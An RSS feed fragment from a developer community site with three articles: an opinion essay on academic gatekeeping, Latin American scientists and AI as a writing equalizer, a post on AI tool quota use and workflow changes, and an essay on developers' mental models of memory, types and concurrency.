<link>https://coderlegion.com/26630/the-ai-era-democratizing-the-ivory-tower-and-reclaiming-the-latin-american-mind</link>
<description>&lt;p&gt;When you view the academic, professional, and technological worlds through the intersectional lens of a woman born and raised in the Global South, you quickly learn to look at every first-world narrative with absolute skepticism. For decades, the intellectual establishment of the global North has built massive, impenetrable walls around knowledge, dictating who gets to speak, who gets to write, and who counts as an authority. They have constructed an intricate system of gatekeeping designed to protect their prestige, maximize their fame, and extract the raw intellectual and natural resources of the rest of the world while leaving the creators in the footnotes.&lt;/p&gt;
&lt;p&gt;For a long time, I lived with an intense, suffocating sense of self-doubt. I questioned whether my perspective was relevant, whether my observations had value, and even whether I had the right to claim the labels that describe my own existence. It is a common crisis of identity for those of us from Brazil. We trap ourselves in a bizarre linguistic limbo, wondering: &lt;em&gt;Can I truly call myself Latina?&lt;/em&gt; Because first-world media and American-centric bureaucratic boxes heavily dominate global culture, the world has been conditioned to treat &quot;Latino&quot; as a concept synonymous only with Spanish speakers. &lt;/p&gt;
&lt;p&gt;But this is a superficial, historically illiterate flattening of our reality. The very word &quot;Latino&quot; traces its lineage directly back to the Latin language of the Roman Empire, the root from which all Romance languages evolved. Spanish is a Latin-derived tongue, but so is Portuguese. To deny a Brazilian woman her identity as a Latina is to succumb to a geographic and administrative distortion invented by first-world institutions to simplify their demographics. Brazil is the largest, most populous, and geographically dominant nation in Latin America. When we claim the title of Latina, we are not borrowing a Spanish word; we are reclaiming our geography, our history, our language’s Roman lineage, and our collective place in the historic struggle against institutional exclusion.&lt;/p&gt;
&lt;p&gt;The fact that we feel we must ask permission to use a word that defines our own home continent is the ultimate proof of how deeply the gatekeepers have succeeded. They have not only monopolized international publishing, funding loops, and prestigious prizes; they have colonized our internal sense of worth. When you look at the history of science and medicine, you realize this pattern of systemic extraction and erasure is centuries old.&lt;/p&gt;
&lt;h4 id=&quot;the-footnotes-of-empire-ferreira-chagas-and-finlay&quot;&gt;The Footnotes of Empire: Ferreira, Chagas, and Finlay&lt;/h4&gt;
&lt;p&gt;The history of first-world academic prestige is a history of extraction. They take our raw data, our clinical observations, and our natural resources, process them through the rigid machinery of Western institutions, and brand the final product with a first-world trademark.&lt;/p&gt;
&lt;p&gt;Consider the tragic case of &lt;strong&gt;Dr. Sérgio Henrique Ferreira&lt;/strong&gt;. In the 1960s, working out of the University of São Paulo in Ribeirão Preto, Dr. Ferreira conducted brilliant, foundational research on the venom of the &lt;em&gt;Bothrops jararaca&lt;/em&gt; pit viper. He succeeded in isolating the Bradykinin-Potentiating Factor (BPF), a discovery that unlocked the molecular mechanics of blood pressure regulation. This exact molecule became the indispensable biochemical blueprint for Captopril, the world’s very first ACE inhibitor, which went on to revolutionize cardiology and save millions of lives across the globe.&lt;/p&gt;
&lt;p&gt;Yet, when Ferreira traveled to London to collaborate with his colleague Sir John Vane, co-authoring pioneering papers that mapped how aspirin inhibits prostaglandins to treat pain, the historical script played out precisely as written. In 1982, John Vane was awarded the Nobel Prize in Physiology or Medicine for those exact discoveries. The British supervisor received immortal glory, historical statues, and global fame, while the brilliant Brazilian mind whose hands-on expertise and venom-derived mechanics fueled the breakthrough was left out of the spotlight, transformed into an invisible column in an institutional ledger.&lt;/p&gt;
&lt;p&gt;This pattern repeats across what the West patronizingly labeled &quot;tropical medicine&quot;—a term historically used to ghettoize the medical brilliance of the Global South as exotic and localized, rather than universal. In 1909, working inside a modified railway car in the interior of Minas Gerais, &lt;strong&gt;Carlos Chagas&lt;/strong&gt; achieved a medical triumph that no European or American scientist had ever accomplished before, and none has duplicated since. He single-handedly discovered, isolated, and fully described a completely new infectious disease. In a single, historic sweep of independent execution, Chagas identified the parasite (&lt;em&gt;Trypanosoma cruzi&lt;/em&gt;), the insect vector (the &lt;em&gt;barbeiro&lt;/em&gt;), the domestic animal hosts, and the entire clinical manifestation of the disease that now bears his name. He was nominated for the Nobel Prize in 1913 and 1921. He never won. The Eurocentric committees simply could not stomach awarding the highest badge of scientific immortality to a Brazilian doctor working with a shoestring budget out of a train car.&lt;/p&gt;
&lt;p&gt;We see the exact same corporate and academic gaslighting in the story of Cuban physician &lt;strong&gt;Carlos Juan Finlay&lt;/strong&gt;. In 1881, Finlay discovered that yellow fever was not an airborne miasma, but a vector-borne disease transmitted specifically by the &lt;em&gt;Aedes aegypti&lt;/em&gt; mosquito. For two decades, the elite medical establishments of Europe and the United States openly mocked him, dismissing his vector theory as an unscientific, backward colonial delusion. Decades later, when the U.S. Army Yellow Fever Commission led by Walter Reed arrived in Havana, they used Finlay's exact data, adopted his exact mosquito-breeding methods, confirmed his thesis, and claimed the absolute credit. Today, first-world textbooks worship Walter Reed as the heroic conqueror of yellow fever, while Finlay is pushed into the shadows of the historical narrative.&lt;/p&gt;
&lt;h4 id=&quot;worshiping-the-gods-of-condescension-darwin-and-einstein&quot;&gt;Worshiping the Gods of Condescension: Darwin and Einstein&lt;/h4&gt;
&lt;p&gt;We are trained to revere these institutions and their foundational giants, yet if you open the private notes of the men whose statues decorate first-world universities, their unfiltered colonial disdain for our people becomes glaringly obvious.&lt;/p&gt;
&lt;p&gt;Take &lt;strong&gt;Charles Darwin&lt;/strong&gt;, who is canonized in first-world textbooks as a saint of progressive thought and a fierce abolitionist who detested slavery. It is true that he wrote with absolute horror about the human atrocities he witnessed enslaved people suffering in Rio de Janeiro and Pernambuco. But academia completely hides his secondary worldview. When you open his private diaries from his time in Rio, specifically his entry on July 3, 1832, his Eurocentric, aristocratic bias is completely unfiltered. He wrote that the local Brazilians were:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;“Ignorant, cowardly, &amp;amp; indolent in the extreme... contented with themselves &amp;amp; their customs, they answer all remarks by asking ‘why cannot we do as our grandfathers before us did’.”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;He dismissed an entire population as naturally lazy and backward simply because they did not live, think, or perform according to 19th-century British standards.&lt;br&gt;
Fast forward nearly a century later to May 1925, and you see the exact same toxic elitism from &lt;strong&gt;Albert Einstein&lt;/strong&gt; during his week-long visit to Rio de Janeiro. To the Brazilian public, his visit was a monumental event; local scientists, doctors, and politicians treated him like a visiting deity, packing lecture halls and hosting grand banquets in his honor. But when Princeton University Press published &lt;em&gt;The Travel Diaries of Albert Einstein: South America, 1925&lt;/em&gt;, his private thoughts were laid bare. Before even setting foot on the continent, Einstein wrote a letter to a friend complaining about the journey, stating: &lt;em&gt;“I have no desire to meet semi-acculturated Indians wearing tuxedos.”&lt;/em&gt; Once there, surrounded by Brazilian academics who revered him, he wrote a cynical, chilling line in his diary:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;“Here I am a kind of white elephant to the others, they are monkeys to me.”&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;He even went out of his way to privately refer to Dr. Aloysio de Castro—the highly respected, brilliant head of the Faculty of Medicine in Rio—as &lt;em&gt;“a real monkey.”&lt;/em&gt; Einstein was actively operating under the pseudo-scientific racist framework of &quot;geographical determinism&quot;—the colonial belief that living in hot, humid tropical climates naturally &quot;softened&quot; human cognitive faculties, rendering people of the Global South inherently inferior to Europeans.&lt;/p&gt;
&lt;h4 id=&quot;hearts-carved-from-grit-surgical-mastery-vs-first-world-budgets&quot;&gt;Hearts Carved from Grit: Surgical Mastery vs. First-World Budgets&lt;/h4&gt;
&lt;p&gt;But history completely exposed their intellectual arrogance. While the giants of the West were busy writing us off as cognitively compromised by the tropical heat, our clinicians and surgeons were quietly redefining modern medicine. We did not have their multi-million-dollar endowments, their imperial laboratories, or their structural safety nets. What we had was raw intelligence, spatial geometry, and unmatched grit under pressure.&lt;/p&gt;
&lt;p&gt;Because our medical systems operated under severe resource deficits, our doctors had to master the absolute peak of clinical execution. We became global masters of the most delicate, volatile, and unforgiving domain of medicine: surgery.&lt;/p&gt;
&lt;p&gt;It was the brilliant Argentinian surgeon &lt;strong&gt;Dr. René Favaloro&lt;/strong&gt; who revolutionized global cardiac care by inventing the modern coronary artery bypass graft surgery using the saphenous vein. His structural breakthrough continues to save millions of human lives every single year across every continent on Earth. It was the Brazilian surgeon &lt;strong&gt;Dr. Euryclides de Jesus Zerbini&lt;/strong&gt; who, in 1968, performed the first heart transplant in Latin America and the third in the entire world. He executed a complex surgical intervention of stunning difficulty at a standard that the elite medical circles of Boston and London were forced to respect.&lt;br&gt;
We have always possessed an extraordinary, highly sophisticated scientific and manual capacity; we were simply denied the infrastructure, the funding loops, and the imperial prizes meant to validate it.&lt;/p&gt;
&lt;h4 id=&quot;the-hidden-curriculum-prepping-for-the-mongrel-complex&quot;&gt;The Hidden Curriculum: Prepping for the Mongrel Complex&lt;/h4&gt;
&lt;p&gt;The most insidious element of this global gatekeeping is that it forces us to internalize our own exclusion. I experienced this firsthand growing up in Brazil. My parents paid for me to attend elite, high-tier private schools like &lt;em&gt;Objetivo&lt;/em&gt;—institutions explicitly designed to prepare the children of the comfortable class to pass rigid academic entry exams. You would assume that a premium, highly paid education would offer a perspective of national pride and historical grounding. The opposite was true.&lt;/p&gt;
&lt;p&gt;The entire hidden curriculum of those expensive classrooms implicitly conditioned us to believe our own country was an inherently broken, backward, and hopeless void. It was the ultimate systemic execution of what the great Brazilian writer Nelson Rodrigues called the &lt;strong&gt;&lt;em&gt;complexo de vira-lata&lt;/em&gt;&lt;/strong&gt; (the mongrel complex)—the collective psychological trauma where we voluntarily place ourselves at the feet of the Global North, automatically assuming that everything they produce is superior, civilized, and true, while everything we generate is primitive and flawed.&lt;/p&gt;
&lt;p&gt;Nobody in those private schools ever felt the need to look us in the eye and tell us how brilliant our history was, or what our scientists had actually built. They trained us to memorize first-world templates for validation, leaving me to rescue myself and discover our rich scientific legacy later in life, entirely by myself. If our own premier national institutions train us to apologize for our intellect, why should we expect first-world academic structures to wear anything but a mask of exclusion? The Ivory Tower has always been an exclusive club with very high walls.&lt;/p&gt;
&lt;h4 id=&quot;the-ai-sanctuary-outsourcing-noise-and-escaping-human-egos&quot;&gt;The AI Sanctuary: Outsourcing Noise and Escaping Human Egos&lt;/h4&gt;
&lt;p&gt;This is why the current, frantic panic over Artificial Intelligence is so profoundly fascinating to watch. Suddenly, the academic and media elites of the internet are terrified of intellectual dishonesty and the loss of critical thinking. They scream about copyright, data scraping, and the dilution of human integrity, as if the traditional human systems they are defending weren't already plagued by systemic theft, extraction, plagiarism, and gatekeeping long before the first line of AI code was ever compiled.&lt;/p&gt;
&lt;p&gt;While I agree with valid technical critiques regarding environmental resource consumption and algorithmic bias, the loudest moral outcries haven't convinced me. Bad work, cheating, performative posturing, and structural injustice are human traits, not the fault of the code. They will always exist with or without the algorithm. The current tech panic isn't about protecting &quot;truth&quot;; it is about human ego. The academic elite is terrified because they are losing their historic monopoly on authority, their control over information, and their fame. Everyone on social media wants to scream louder than the rest, posing as the next Socrates, while forgetting that true knowledge meant to better the world doesn't need a public relations campaign.&lt;/p&gt;
&lt;p&gt;For me, as a neurodivergent Latina navigating these rigid human systems, the reality of AI is deeply personal and transformative. Living with ADHD and Autism means my brain operates as a bottom-up pattern-recognition engine, producing a relentless, exhausting amount of internal cognitive noise. &lt;/p&gt;
&lt;p&gt;I live in a perpetual loop of self-doubt, manually analyzing my environment, trying to predict unspoken social expectations, and managing the hyper-volatile emotional states of the people around me—a process that ultimately leads to severe burnout. I was never built for their neurotypical social standards.&lt;/p&gt;
&lt;p&gt;In a world like that, interacting with a Large Language Model provides a profound baseline of psychological relief. Because the algorithm processes data mathematically rather than emotionally, it possesses no ego to bruise and no social status to protect. I can ask a machine a dense technical question without a human getting defensive, getting emotional, or assuming I am defying their authority. It is an objective sanctuary where I am completely free from the fear of being bullied, judged, or socially penalized just for wanting to learn and understand. Far from encouraging intellectual laziness, this friction-free loop has allowed my critical thinking to explode. It acts as an executive function exoskeleton, handling the structural heavy lifting of syntax and linear organization so my raw, systemic logic can handle the architecture of the project.&lt;/p&gt;
&lt;h4 id=&quot;high-dimensional-spaces-and-the-equalizing-algorithm&quot;&gt;High-Dimensional Spaces and the Equalizing Algorithm&lt;/h4&gt;
&lt;p&gt;For a non-native speaker, staring at a blank screen is rarely a symptom of a missing idea; it is the paralyzing, resource-heavy drag of an inefficient translation loop. When I write, my mind is forced to run a constant background cycle: first, gathering the hyper-detailed, non-linear patterns of my observations in Portuguese, and then forcing those concepts through the rigid bottleneck of standard corporate English syntax.&lt;br&gt;
When you look past the chatbot interface and understand the underlying data science, you realize why AI shifts this paradigm entirely. Before an LLM processes a single token, it maps language into high-dimensional vector spaces called &lt;strong&gt;text embeddings&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;[Raw Human Thought / Intent]
            │
            ▼
[High-Dimensional Vector Space]  &amp;lt;─── Maps pure semantic meaning mathematically
            │
            ▼
[Target Language / Syntax Output]

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this mathematical space, words are converted into coordinate vectors where concepts with similar meanings cluster together based on their actual semantic relationships and universal human definitions, entirely divorced from regional prestige, accents, or institutional status. It maps the pure geometry of human thought.&lt;/p&gt;
&lt;p&gt;The empirical data proves that this mathematical floor is actively working as a powerful tool for global justice. A massive study evaluating the impact of Generative AI analyzed the stylistic evolution of &lt;strong&gt;5.6 million scientific papers&lt;/strong&gt; authored by teams across non-English-speaking countries. The researchers tracked linguistic similarity to international publishing benchmarks and discovered that following the public release of ChatGPT, papers authored by scientists from non-English-speaking countries saw a massive, rapid convergence toward standard publishing standards.&lt;br&gt;
Crucially, this equalizing effect was strongest for domestic co-author teams and researchers working in countries linguistically far from English—the exact groups that face the highest risks of peer-review bias and completely lack the massive capital required to pay for expensive first-world translation and editing services. &lt;/p&gt;
&lt;p&gt;The algorithm didn't do the thinking for these scientists; it gave their existing, brilliant thinking a linguistic exoskeleton, allowing their ideas to stand on their actual scientific and empirical merit rather than their author's native tongue or academic pedigree. It allows an independent operator in South America to completely bypass the peer reviewers who would historically reject a revolutionary paper simply for &quot;awkward wording.&quot;&lt;/p&gt;
&lt;p&gt;Critics love to counter that these tech conglomerates are unethical because they scraped our collective &quot;content, information, and lives&quot; to train their models without explicit permission. But honestly? The Global North has been copying, stealing, and extracting our concepts, our history, and our natural venom for centuries without asking. Personally, I don't possess millions in corporate assets or classified state secrets. Let them scrape my data. If my digital footprint helps fuel a machine that acts as a linguistic equalizer—allowing a marginalized kid from a broken background to write an essay or compile a piece of code that can smash through a biased gatekeeper—it is a trade-off I am entirely willing to make.&lt;/p&gt;
&lt;p&gt;I used to carry a deep, quiet regret about leaving my formal academic life behind. I used to look back and wish I hadn't given up, believing that if I had only stayed inside those traditional walls, I could have built something meaningful. I used to think my voice from the outside was completely irrelevant. But looking at this massive technological shift, I realize that a perspective from the outside is exactly what is needed. AI isn't ruining the intellectual world; it is exposing the fact that the Ivory Tower was always built on a foundation of exclusion. The walls are finally coming down, and we don't need their permission to speak anymore.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26630/the-ai-era-democratizing-the-ivory-tower-and-reclaiming-the-latin-american-mind</guid>
<pubDate>Wed, 09 Sep 2026 13:24:55 +0000</pubDate>
</item>
<item>
<title>How I Survived the Silent AI Upgrades (And Shifted My Workflow)</title>
<link>https://coderlegion.com/26629/how-i-survived-the-silent-ai-upgrades-and-shifted-my-workflow</link>
<description>&lt;h3 id=&quot;the-day-the-premium-quotas-melted&quot;&gt;The Day the Premium Quotas Melted&lt;/h3&gt;
&lt;p&gt;We’ve all seen the massive marketing headlines celebrating multi-million token context windows. So when I scored access to the &lt;strong&gt;Google AI Pro student tier&lt;/strong&gt;, I figured I was completely set.&lt;/p&gt;
&lt;p&gt;My journey into the anatomy of a prompt didn’t happen overnight; it started a while back when I was experimenting with visual generation in &lt;strong&gt;Adobe Firefly&lt;/strong&gt;. By August of last year, I got deep into language models, eventually using them to power through my &lt;strong&gt;EBAC programming course&lt;/strong&gt; and moving my coding workflows directly into &lt;strong&gt;Antigravity IDE&lt;/strong&gt;. Over nearly a year of continuous, everyday use, I learned exactly how these systems tick. As an aspiring developer, I optimized my prompts, mapped out constraints, and treated the LLM like a highly predictable engine to accelerate my learning.&lt;/p&gt;
&lt;p&gt;Naturally, I put my established setup to the test. I uploaded my personal documentation, technical archives, and coding references into the newly rebranded &lt;strong&gt;Gemini Notebook&lt;/strong&gt; (formerly NotebookLM), running Flash Extended to handle the retrieval. I wasn't even running heavy Pro-level operations—just a routine pass to extract milestones and start drafting a profile.&lt;/p&gt;
&lt;p&gt;Then, I asked a few formatting questions, checked my usage dashboard, and watched in pure disbelief as &lt;strong&gt;50% of my rolling 5-hour compute quota completely evaporated&lt;/strong&gt; in a matter of minutes.&lt;/p&gt;
&lt;p&gt;I hadn't changed my source files. I hadn't switched models mid-session. But the architectural ground shifted anyway. Here is exactly what is happening under the hood with these silent AI infrastructure rollouts, and how a junior dev's workflow had to change overnight to survive the token crunch.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;1-the-background-agent-tax&quot;&gt;1. The Background Agent Tax&lt;/h3&gt;
&lt;p&gt;We used to think of Large Language Models as linguistic calculators—they predicted the next most probable word based on pattern matching.&lt;/p&gt;
&lt;p&gt;But with recent infrastructure upgrades, the underlying architecture has evolved into something much more complex. When you ask a modern AI assistant a complex analytical question over your documents, it doesn't just read the text anymore. &lt;strong&gt;The system silently provisions a secure cloud computer, writes a custom Python script to parse your sources, executes it, and formats the output.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Because the Gemini ecosystem now shares parts of the same agentic code-execution harness used by &lt;strong&gt;Antigravity IDE&lt;/strong&gt;, it treats your documents like an active environment. While this makes the AI incredibly precise and practically eliminates linguistic math hallucinations, it comes with a massive &lt;strong&gt;compute surcharge&lt;/strong&gt;. Every background execution loop, sandboxed environment state, and data variable has to be held in the active context window. You aren't just paying for the words you read; you are paying the operational runtime of a background software engineer.&lt;/p&gt;
&lt;h3 id=&quot;2-aggressive-context-slicing&quot;&gt;2. Aggressive Context Slicing&lt;/h3&gt;
&lt;p&gt;To prevent web interfaces from lagging under the weight of these massive agentic loops, consumer applications are quietly implementing &lt;strong&gt;context slicing&lt;/strong&gt; and extreme text compression behind the scenes.&lt;/p&gt;
&lt;p&gt;Once your conversational history crosses a certain threshold or accumulates too many background code-execution logs, the interface stops passing the entire thread to the model. Instead, it relies on silent retrieval chunks. This is why an AI you’ve been working with seamlessly for an hour will suddenly &quot;forget&quot; a critical formatting rule or a core naming convention you established in prompt #2.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;my-new-ai-survival-blueprint-ecosystem-hopping&quot;&gt;My New AI Survival Blueprint: Ecosystem Hopping&lt;/h3&gt;
&lt;p&gt;To keep my workflows efficient and stop burning through my daily student compute caps by noon, I’ve completely restructured how I interact with LLMs. The secret? &lt;strong&gt;You have to jump across different Google products strategically to keep your tokens alive.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Separating Extraction from Iteration:&lt;/strong&gt; I no longer do creative drafting or iterative formatting inside data-dense notebooks. I use the notebook &lt;em&gt;once&lt;/em&gt; to let the agent parse the files and extract a clean, structured text baseline or chronological milestone list.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The &quot;Clear Slate&quot; Migration:&lt;/strong&gt; Once I have that raw text block, I copy it out, close the heavy workspace entirely, and paste it into a completely fresh, standard chat window. By decoupling the heavy data-parsing engine from the creative-writing layer, my compute footprint drops to near zero.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Graduating to Developer Environments:&lt;/strong&gt; For complex programming or tracking intricate data structures where memory loss is a project-killer, I step outside the consumer web wrappers and jump into &lt;strong&gt;Google AI Studio&lt;/strong&gt;. Getting raw model access gives you deterministic control over your context window and absolute visibility over your exact token count, completely bypassing the aggressive background agent surcharges.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;The Takeaway:&lt;/strong&gt; AI isn't just getting bigger; it's getting hungrier. Even if you've spent a year mastering the tool, hold premium tier access, and use it to power through coding bootcamps, if you don't actively manage your context architecture, the infrastructure will manage it for you—usually at the expense of your active memory. As developers, our job isn't just to write code; it's to understand the systems we build upon. And right now, navigating the AI layer demands a completely new style of resource management.&lt;/p&gt;
&lt;/blockquote&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26629/how-i-survived-the-silent-ai-upgrades-and-shifted-my-workflow</guid>
<pubDate>Wed, 09 Sep 2026 13:24:29 +0000</pubDate>
</item>
<item>
<title>The power of mental models for developers</title>
<link>https://coderlegion.com/26608/the-power-of-mental-models-for-developers</link>
<description>&lt;h3 id=&quot;down-the-memory-lane&quot;&gt;Down the memory lane&lt;/h3&gt;
&lt;p&gt;Some developers don’t understand memory.&lt;br&gt;
They understand new, delete, or garbage collection. And again — that’s just the surface.&lt;/p&gt;
&lt;p&gt;Memory is not a flat, uniform space.&lt;br&gt;
It’s a hierarchy:&lt;br&gt;
• registers&lt;br&gt;
• multiple levels of cache&lt;br&gt;
• RAM&lt;br&gt;
• virtual memory managed by the OS&lt;br&gt;
Each layer has different latency and behavior.&lt;/p&gt;
&lt;p&gt;But we usually learn memory management like this:&lt;br&gt;
“allocate object → use it → free it”&lt;br&gt;
So we assume: as long as memory is “managed”, everything is fine.&lt;br&gt;
It’s not.&lt;/p&gt;
&lt;p&gt;Performance is often dominated by:&lt;br&gt;
• cache locality&lt;br&gt;
• allocation patterns&lt;br&gt;
• fragmentation&lt;br&gt;
• allocator contention&lt;/p&gt;
&lt;p&gt;That’s why two identical algorithms can have wildly different performance&lt;br&gt;
depending on how data is laid out in memory.&lt;/p&gt;
&lt;p&gt;Using smart pointers doesn’t mean you understand memory. It means you’ve delegated part of the problem. Which is fine — until it isn’t.&lt;/p&gt;
&lt;p&gt;If you care about performance, you need to understand:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;how data moves,&lt;/li&gt;
&lt;li&gt;how it’s cached,&lt;br&gt;
and how it’s allocated.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Because in the end:&lt;br&gt;
It’s not about what your code does.&lt;br&gt;
It’s about how it lives in memory.&lt;/p&gt;
&lt;h3 id=&quot;building-blocks&quot;&gt;Building blocks&lt;/h3&gt;
&lt;p&gt;Data types are one of the most misunderstood fundamentals.&lt;br&gt;
Because we don’t really learn what they are.&lt;/p&gt;
&lt;p&gt;We learn their names: int, float, bool - feel like simple building blocks.&lt;br&gt;
But underneath, they are:&lt;br&gt;
• bit patterns&lt;br&gt;
• rules of interpretation&lt;br&gt;
• operations defined over those bits&lt;br&gt;
Without that model, decisions become guesswork.&lt;/p&gt;
&lt;p&gt;Like using signed integers for sizes.&lt;br&gt;
A size is a count. It cannot be negative.&lt;/p&gt;
&lt;p&gt;But if your type allows negative values, you’ve already introduced invalid states into your system.&lt;br&gt;
This leads to subtle bugs:&lt;br&gt;
• overflow issues&lt;br&gt;
• signed/unsigned comparison traps&lt;br&gt;
• edge cases that “should never happen” — but do&lt;/p&gt;
&lt;p&gt;The deeper issue is this:&lt;br&gt;
A type is not a label. It’s a constraint on reality.&lt;/p&gt;
&lt;p&gt;If you don’t understand:&lt;br&gt;
• binary representation&lt;br&gt;
• overflow behavior&lt;br&gt;
• how arithmetic actually works at the hardware level&lt;br&gt;
then you’re not choosing types. You’re guessing.&lt;/p&gt;
&lt;p&gt;And sometimes guessing is enough.&lt;br&gt;
Until it isn’t.&lt;/p&gt;
&lt;p&gt;We teach developers what to write.&lt;br&gt;
We rarely teach them what it means.&lt;/p&gt;
&lt;h3 id=&quot;concurrency&quot;&gt;Concurrency&lt;/h3&gt;
&lt;p&gt;Some developers don’t learn concurrency. They learn async/await or whatever concurrency utilities their favorite language or framework provides. And those are not the same thing.&lt;/p&gt;
&lt;p&gt;Threads are not a language feature. They exist at the OS level, run on physical CPU cores, and compete for shared memory and cache.&lt;/p&gt;
&lt;p&gt;But many of us first encounter concurrency through: Python, C++, Java, or some framework API.&lt;br&gt;
So our mental model becomes: “this is how concurrency works.”&lt;br&gt;
It’s not.&lt;br&gt;
It’s just how one runtime exposes it.&lt;/p&gt;
&lt;p&gt;That’s why things feel unpredictable:&lt;br&gt;
• “Why do I still get race conditions?”&lt;br&gt;
• “Why is my async code slower than sync?”&lt;br&gt;
• “Why doesn’t this scale across cores?”&lt;br&gt;
Because underneath:&lt;br&gt;
• the OS scheduler decides who runs&lt;br&gt;
• context switching is not free&lt;br&gt;
• cores share memory with non-uniform latency&lt;br&gt;
• caches can invalidate each other&lt;/p&gt;
&lt;p&gt;If you don’t understand that layer, you’re not really reasoning about concurrency.&lt;br&gt;
You’re just using it.&lt;/p&gt;
&lt;p&gt;To be clear — that’s fine at the beginning.&lt;br&gt;
But the moment you care about performance or correctness under load,&lt;br&gt;
you have to go down the stack.&lt;/p&gt;
&lt;p&gt;Hardware → OS → runtime → language.&lt;br&gt;
Not the other way around.&lt;/p&gt;
&lt;p&gt;Otherwise you’re not solving concurrency problems.&lt;br&gt;
You’re operating an API.&lt;/p&gt;
&lt;h3 id=&quot;abstractions-are-just-tools&quot;&gt;Abstractions are just tools&lt;/h3&gt;
&lt;p&gt;In previous chapters I talked about:&lt;br&gt;
• concurrency&lt;br&gt;
• memory&lt;br&gt;
• data types&lt;/p&gt;
&lt;p&gt;At first glance, these look like different topics.&lt;br&gt;
They’re not.&lt;/p&gt;
&lt;p&gt;They all share the same root problem:&lt;br&gt;
We learn abstractions… without understanding what they abstract.&lt;/p&gt;
&lt;p&gt;We learn:&lt;br&gt;
• async/await instead of how threads are scheduled&lt;br&gt;
• new/delete instead of how memory behaves&lt;br&gt;
• int/float instead of how data is represented&lt;/p&gt;
&lt;p&gt;So our mental model becomes: “this is how the system works”&lt;br&gt;
When in reality: “this is how one layer exposes it”&lt;/p&gt;
&lt;p&gt;And most of the time, that’s enough.&lt;br&gt;
Until it isn’t.&lt;/p&gt;
&lt;p&gt;The cracks appear when:&lt;br&gt;
• performance matters&lt;br&gt;
• systems scale&lt;br&gt;
• bugs become non-deterministic&lt;br&gt;
• behavior stops matching intuition&lt;/p&gt;
&lt;p&gt;That’s when abstraction stops helping and starts hiding the problem.&lt;/p&gt;
&lt;p&gt;This doesn’t mean everyone must become a hardware engineer.&lt;br&gt;
But it does mean: &lt;br&gt;
If you want to reason about systems, you need to understand the layers below them.&lt;/p&gt;
&lt;p&gt;A simple rule that helped me:&lt;br&gt;
When something feels “weird” or unpredictable — you’re probably missing a layer in your mental model.&lt;/p&gt;
&lt;p&gt;Go one level deeper:&lt;br&gt;
hardware → OS → runtime → language.&lt;br&gt;
That’s usually where the answer is.&lt;/p&gt;
&lt;p&gt;Abstractions are tools.&lt;br&gt;
But understanding is leverage.&lt;/p&gt;
&lt;h3 id=&quot;mental-model&quot;&gt;Mental model&lt;/h3&gt;
&lt;p&gt;A fair question may come up:&lt;br&gt;
“How do I actually learn all these lower layers without going down a 5-year rabbit hole?”&lt;/p&gt;
&lt;p&gt;Short answer:&lt;br&gt;
You don’t need to learn everything. You need to learn just enough to build a mental model.&lt;/p&gt;
&lt;p&gt;Here’s what actually works.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Learn one layer below your current work&lt;br&gt;
If you’re writing application code → learn runtime behavior&lt;br&gt;
If you’re using runtime features → learn OS basics&lt;br&gt;
If you’re already there → peek into hardware&lt;br&gt;
Don’t jump straight into CPU manuals. Go one step down.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Learn through problems, not theory&lt;br&gt;
Don’t start with textbooks.&lt;br&gt;
Start with questions like:&lt;br&gt;
• “Why is this slower than expected?”&lt;br&gt;
• “Why does this break under load?”&lt;br&gt;
• “Why does this behave differently on another machine?”&lt;br&gt;
Then dig until you hit the real cause. That’s where learning sticks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Build small, focused experiments&lt;br&gt;
You don’t need big projects.&lt;br&gt;
Try things like:&lt;br&gt;
• write a tiny thread pool&lt;br&gt;
• measure cache effects with different data layouts&lt;br&gt;
• intentionally create a race condition and observe it&lt;br&gt;
• compare contiguous vs scattered allocations&lt;br&gt;
You’ll learn more from one experiment than from hours of passive reading.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use tools that show reality&lt;br&gt;
Start simple:&lt;br&gt;
• profilers (CPU, memory)&lt;br&gt;
• timing measurements&lt;br&gt;
• system monitors&lt;br&gt;
Look at what the system is actually doing — not what you think it’s doing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Accept partial understanding&lt;br&gt;
You don’t need to master everything.&lt;br&gt;
If you walk away knowing:&lt;br&gt;
• caches exist and affect performance&lt;br&gt;
• threads are scheduled, not “run” by your code&lt;br&gt;
• memory is not uniform&lt;br&gt;
you’re already ahead of most developers.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Go deeper only when it pays off&lt;br&gt;
Not every problem needs low-level knowledge.&lt;br&gt;
But when something feels:&lt;br&gt;
• slow&lt;br&gt;
• unpredictable&lt;br&gt;
• “magical”&lt;br&gt;
that’s your signal to go down a layer.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You don’t need to become a systems expert.&lt;br&gt;
But you do need to know when the abstraction stops being enough.&lt;br&gt;
That’s the real skill.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/26608/the-power-of-mental-models-for-developers</guid>
<pubDate>Wed, 09 Sep 2026 11:26:43 +0000</pubDate>
</item>
<item>
